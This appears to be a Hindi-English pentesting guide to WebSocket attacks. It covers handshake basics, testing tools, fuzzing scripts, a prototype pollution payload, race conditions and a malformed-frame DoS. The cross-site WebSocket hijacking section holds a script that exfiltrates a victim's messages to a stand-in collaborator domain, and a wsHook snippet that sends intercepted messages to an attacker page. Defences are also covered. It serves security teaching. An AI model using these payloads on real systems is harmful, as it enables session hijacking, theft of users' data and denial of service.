WebSocket Attacks

Reading time: 16 minutes

WebSockets क्या हैं

WebSocket कनेक्शंस एक प्रारंभिक HTTP हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें लंबी अवधि वाले उपयोग के लिए डिज़ाइन किया गया है, जो किसी लेनदेन-आधारित सिस्टम की आवश्यकता के बिना किसी भी समय द्विदिश मैसेजिंग की अनुमति देता है। इससे WebSockets उन एप्लिकेशनों के लिए विशेष रूप से उपयोगी होते हैं जिन्हें कम विलम्बता या सर्वर-प्रेरित संचार की आवश्यकता होती है, जैसे लाइव फाइनेंशियल डेटा स्ट्रीम्स।

WebSocket कनेक्शन की स्थापना

WebSocket कनेक्शन स्थापित करने पर एक विस्तृत व्याख्या here पर उपलब्ध है। सारांश में, WebSocket कनेक्शन आमतौर पर client-side JavaScript के माध्यम से आरंभ किए जाते हैं, जैसा कि नीचे दिखाया गया है:

var ws = new WebSocket("wss://normal-website.com/ws")

The wss प्रोटोकॉल एक WebSocket कनेक्शन को दर्शाता है जो TLS के साथ सुरक्षित है, जबकि ws एक unsecured कनेक्शन को दर्शाता है।

कनेक्शन स्थापित करने के दौरान, browser और server के बीच HTTP पर एक handshake किया जाता है। Handshake प्रक्रिया में browser अनुरोध भेजता है और server जवाब देता है, जैसा कि निम्न उदाहरणों में दिखाया गया है:

Browser एक handshake अनुरोध भेजता है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server का handshake response:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

कनेक्शन एक बार स्थापित हो जाने के बाद दोनों दिशाओं में संदेशों के आदान-प्रदान के लिए खुला रहता है।

WebSocket Handshake के प्रमुख बिंदु:

• Connection और Upgrade हेडर WebSocket handshake की शुरुआत का संकेत देते हैं।
• Sec-WebSocket-Version हेडर इच्छित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, सामान्यतः 13।
• Base64-encoded यादृच्छिक मान Sec-WebSocket-Key हेडर में भेजा जाता है, जिससे हर handshake अनूठा होता है और caching proxies से संबंधित समस्याओं को रोकने में मदद मिलती है। यह मान authentication के लिए नहीं होता; यह पुष्टि करने के लिए है कि response किसी misconfigured server या cache द्वारा जनरेट नहीं किया गया है।
• सर्वर के response में Sec-WebSocket-Accept हेडर Sec-WebSocket-Key का एक hash होता है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।

ये विशेषताएँ handshake प्रक्रिया को सुरक्षित और विश्वसनीय बनाती हैं, जिससे प्रभावी रीयल-टाइम संचार संभव होता है।

Linux कंसोल

आप websocat का उपयोग WebSocket के साथ एक raw connection स्थापित करने के लिए कर सकते हैं।

websocat --insecure wss://10.10.10.10:8000 -v

या websocat सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket कनेक्शन

यदि आप पाते हैं कि आपके वर्तमान लोकल नेटवर्क से क्लाइंट्स किसी HTTP websocket से जुड़े हुए हैं तो आप ARP Spoofing Attack का प्रयोग करके client और server के बीच MitM attack कर सकते हैं.
जब client आपसे कनेक्ट करने की कोशिश करेगा, तब आप निम्न का उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets सूचीकरण

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.

Websocket Debug tools

• Burp Suite नियमित HTTP संचार की तरह ही Websocket संचार में MitM का समर्थन करता है।
• The socketsleuth Burp Suite extension आपको Burp में Websocket संचार बेहतर तरीके से प्रबंधित करने की अनुमति देगा — जैसे कि history प्राप्त करना, interception rules सेट करना, match and replace नियमों का उपयोग करना, और Intruder व AutoRepeater का उपयोग करना।
• WSSiP: Short for "WebSocket/Socket.io Proxy", यह tool, Node.js में लिखा गया, एक user interface प्रदान करता है ताकि आप capture, intercept, send custom messages कर सकें और client तथा server के बीच सभी WebSocket और Socket.IO संचार देख सकें।
• wsrepl एक interactive websocket REPL है जो खासकर penetration testing के लिए डिज़ाइन किया गया है। यह एक इंटरफ़ेस प्रदान करता है जिससे आप incoming websocket messages and sending new ones को देख सकते हैं, और इस संचार को automating करने के लिए एक आसान फ्रेमवर्क देता है।
• https://websocketking.com/ यह एक web to communicate है जो websockets का उपयोग करके अन्य वेब्स के साथ संचार करने के लिए है।
• https://hoppscotch.io/realtime/websocket अन्य प्रकार के communications/protocols के साथ-साथ, यह web to communicate प्रदान करता है जिससे अन्य वेब्स के साथ websockets का उपयोग करके संचार किया जा सकता है।

Websocket डिक्रिप्ट करना

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

In Burp-Suite-Extender-Montoya-Course में आपको websockets का उपयोग करते हुए एक वेब लॉन्च करने का कोड मिलता है और in this post आप एक व्याख्या पा सकते हैं।

Websocket Fuzzing

The burp extension Backslash Powered Scanner अब WebSocket messages को भी fuzz करने की अनुमति देता है। आप इसके बारे में और जानकारी इस here पढ़ सकते हैं।

WebSocket Turbo Intruder (Burp extension)

PortSwigger's WebSocket Turbo Intruder Turbo Intruder–style Python scripting और high‑rate fuzzing को WebSockets पर लाता है। इसे BApp Store से या source से इंस्टॉल करें। इसमें दो घटक शामिल हैं:

• Turbo Intruder: custom engines का उपयोग कर एकल WS endpoint पर high‑volume messaging।
• HTTP Middleware: एक local HTTP endpoint expose करता है जो bodies को persistent connection पर WS messages के रूप में आगे भेजता है, इसलिए कोई भी HTTP‑based scanner WS backends को probe कर सकता है।

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

एक संदेश कई प्रतिक्रियाएँ ट्रिगर करे तो शोर कम करने के लिए @MatchRegex(...) जैसे decorators का उपयोग करें।

Bridge WS behind HTTP (HTTP Middleware)

एक स्थायी WS कनेक्शन को wrap करें और HTTP बॉडीज़ को WS messages के रूप में आगे भेजें, ताकि HTTP scanners के साथ automated testing की जा सके:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

फिर स्थानीय रूप से HTTP भेजें; body WS संदेश के रूप में अग्रेषित किया जाता है:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

यह आपको WS backends को ड्राइव करने और “interesting” events (उदा., SQLi errors, auth bypass, command injection behavior) के लिए फ़िल्टर करने देता है।

Socket.IO handling (handshake, heartbeats, events)

Socket.IO WS के ऊपर अपना framing जोड़ता है। इसे अनिवार्य query parameter EIO (उदा., EIO=4) के जरिए पहचानें। सत्र को Ping (2) और Pong (3) के साथ जीवित रखें और वार्तालाप की शुरुआत "40" से करें, फिर ऐसे इवेंट emit करें: 42["message","hello"].

Intruder उदाहरण:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP एडाप्टर वेरिएंट:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Detecting server‑side prototype pollution via Socket.IO

PortSwigger’s safe detection technique का अनुसरण करते हुए, Express internals को pollute करने के लिए नीचे जैसा payload भेजें:

{"__proto__":{"initialPacket":"Polluted"}}

यदि greetings या व्यवहार बदलता है (उदा., echo में "Polluted" शामिल है), तो संभवतः आपने server-side prototypes में prototype pollution किया है। प्रभाव पहुँच योग्य sinks पर निर्भर करता है; Node.js prototype pollution सेक्शन में मौजूद gadgets के साथ correlate करें। देखें:

• Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.

WebSocket race conditions with Turbo Intruder

डिफ़ॉल्ट engine एक ही connection पर messages को batch करता है (उच्च throughput, लेकिन races के लिए खराब)। THREADED engine का उपयोग करें ताकि multiple WS connections spawn हों और payloads को parallel में भेजकर logic races (double‑spend, token reuse, state desync) ट्रिगर किए जा सकें। example script से शुरू करें और concurrency को config() में ट्यून करें।

• Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

ऐसे WS frames craft करें जिनका header बहुत बड़ी payload length declare करे पर body नहीं भेजें। कुछ WS servers length पर भरोसा करते हैं और buffers pre‑allocate कर लेते हैं; इसे Integer.MAX_VALUE के करीब सेट करने से Out‑Of‑Memory और remote unauth DoS हो सकता है। example script देखें।

CLI and debugging

• Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
• Enable the WS Logger to capture and correlate messages using internal IDs.
• Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
• Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

High‑rate WS fuzzing कई connections खोल सकता है और प्रति सेकंड हजारों messages भेज सकता है। Malformed frames और high rates वास्तविक DoS पैदा कर सकते हैं। केवल वहीँ उपयोग करें जहाँ अनुमति हो।

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, जिसे cross-origin WebSocket hijacking भी कहा जाता है, एक विशिष्ट प्रकार का Cross-Site Request Forgery (CSRF) है जो WebSocket handshakes को प्रभावित करता है। यह कमजोरी तब उत्पन्न होती है जब WebSocket handshakes केवल HTTP cookies के माध्यम से authenticate करते हैं और कोई CSRF tokens या समान सुरक्षा उपाय नहीं होते।

Attackers इसे तब exploit कर सकते हैं जब वे एक malicious web page होस्ट करते हैं जो vulnerable application के खिलाफ एक cross-site WebSocket connection शुरू करता है। परिणामस्वरूप, यह connection victim के application session का हिस्सा माना जाता है, क्योंकि session handling में CSRF सुरक्षा की कमी का फायदा उठाया जा रहा होता है।

इस attack के काम करने के लिए आवश्यकताएँ:

• The websocket authentication must be cookie based
• The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
• The websocket server must not check the origin of the connection (or this must be bypasseable)

Also:

• If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Simple Attack

ध्यान दें कि जब establishing एक websocket connection की जाती है तो cookie server को sent की जाती है। Server इसका उपयोग कर सकता है ताकि भेजी गई cookie के आधार पर हर specific user को उसके websocket session से relate किया जा सके।

यदि, उदाहरण के लिए, वह websocket server किसी user की बातचीत का इतिहास वापस भेजता है यदि उसे msg जिसमें "READY" हो भेजा जाए, तो एक साधारण XSS जो connection स्थापित करती है (cookie स्वचालित रूप से victim user को authorize करने के लिए भेजी जाएगी) और "READY" भेजती है, वह बातचीत का इतिहास retrieve कर पाएगी.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

इस ब्लॉग पोस्ट https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ attacker ने उस domain के उस हिस्से में जहाँ websocket communication हो रही थी, execute arbitrary Javascript in a subdomain करने में सफलता पाई। चूँकि यह एक subdomain था, cookie भेजा जा रहा था, और चूँकि Websocket didn't check the Origin properly, इसलिए इसके साथ communicate करना और इससे steal tokens from it संभव हो गया।

उपयोगकर्ता से डेटा चुराना

जिस web application को आप impersonate करना चाहते हैं उसकी कॉपी बनाएं (उदाहरण के लिए .html फाइलें) और उस script के अंदर जहाँ websocket communication हो रही है, यह code जोड़ें:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

अब wsHook.js फाइल को https://github.com/skepticfx/wshook से डाउनलोड करें और इसे वेब फाइलों वाले फ़ोल्डर के अंदर सेव करें.
वेब एप्लिकेशन को एक्सपोज़ करके और किसी उपयोगकर्ता को उससे कनेक्ट करवा कर आप भेजे और प्राप्त किए गए संदेश websocket के माध्यम से चुरा पाएँगे:

sudo python3 -m http.server 80

CSWSH सुरक्षा

The CSWSH attack इस बात पर आधारित है कि एक उपयोगकर्ता किसी malicious page से कनेक्ट करेगा जो उस वेब पेज के लिए एक websocket connection ओपन करेगा जहाँ उपयोगकर्ता पहले से जुड़ा हुआ है और अनुरोध उसके उपयोगकर्ता के cookies भेजने के कारण उसके रूप में authenticate हो जाएगा।

आजकल, इस समस्या को रोकना बहुत आसान है:

• Websocket server checking the origin: Websocket server को हमेशा यह जाँचना चाहिए कि उपयोगकर्ता किस स्रोत से कनेक्ट कर रहा है ताकि अनपेक्षित पेज उसे कनेक्ट न कर सकें।
• Authentication token: Cookie पर आधारित authentication के बजाय, websocket connection को ऐसे token पर आधारित किया जा सकता है जिसे सर्वर उपयोगकर्ता के लिए जनरेट करे और attacker के लिए अज्ञात हो (जैसे एक anti-CSRF token)।
• SameSite Cookie attribute: SameSite मान Lax या Strict वाले cookies external attacker के पेज से victim सर्वर पर नहीं भेजे जायेंगे, इसलिए cookie आधारित authentication सफल नहीं होगी। ध्यान दें कि Chrome अब उन cookies को डिफ़ॉल्ट रूप से Lax मान देता है जिनमें यह flag निर्दिष्ट नहीं है, जिससे यह पहले से सुरक्षित है। हालाँकि, किसी cookie के बनाए जाने के पहले 2 मिनट के दौरान इसका मान None होगा, जिससे वह उस सीमित अवधि में कमजोर रहेगा (और अपेक्षित है कि यह उपाय किसी बिंदु पर हटा दिया जाएगा)।
• Firefox Total Cookie Protection: Total Cookie Protection cookies को उसी साइट तक सीमित करके काम करता है जहाँ वे बनाए गए थे। मूलतः प्रत्येक साइट की अपनी cookie storage partition होती है ताकि third parties उपयोगकर्ता के ब्राउज़िंग इतिहास को लिंक न कर सकें। इससे attackers साइट को cookies तक पहुँच नहीं मिलने के कारण CSWSH अनुपयोगी हो जाता है।
• Chrome third-party cookies block: यह भी authenticated उपयोगकर्ता के cookie को websocket server पर भेजे जाने से रोक सकता है भले ही SameSite=None हो।

Race Conditions

WebSockets में Race Conditions भी होते हैं, अधिक जानने के लिए इस जानकारी को देखें.

अन्य कमजोरियाँ

चूँकि Web Sockets डेटा को सर्वर-साइड और क्लाइंट-साइड दोनों पर भेजने का एक मैकेनिज़्म हैं, सर्वर और क्लाइंट किस तरह जानकारी को हैंडल करते हैं उस पर निर्भर करते हुए, Web Sockets का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी भी सामान्य वेब vuln को exploit करने के लिए किया जा सकता है यदि websocket से किसी उपयोगकर्ता का इनपुट सर्वर/क्लाइंट पर पहुँचता है।

WebSocket Smuggling

यह vulnerability आपको reverse proxies restrictions को bypass करने की अनुमति दे सकती है, उन्हें यह विश्वास दिलाकर कि एक websocket communication स्थापित हो गई थी (भले ही ऐसा न हुआ हो)। इससे एक attacker को hidden endpoints तक पहुँचने की अनुमति मिल सकती है। अधिक जानकारी के लिए निम्न पेज देखें:

Upgrade Header Smuggling

References

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
• WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
• WebSocket Turbo Intruder – BApp Store
• WebSocketTurboIntruder – GitHub
• Turbo Intruder background
• Server-side prototype pollution – safe detection methods
• WS RaceCondition PoC (Java)
• RaceConditionExample.py
• PingOfDeathExample.py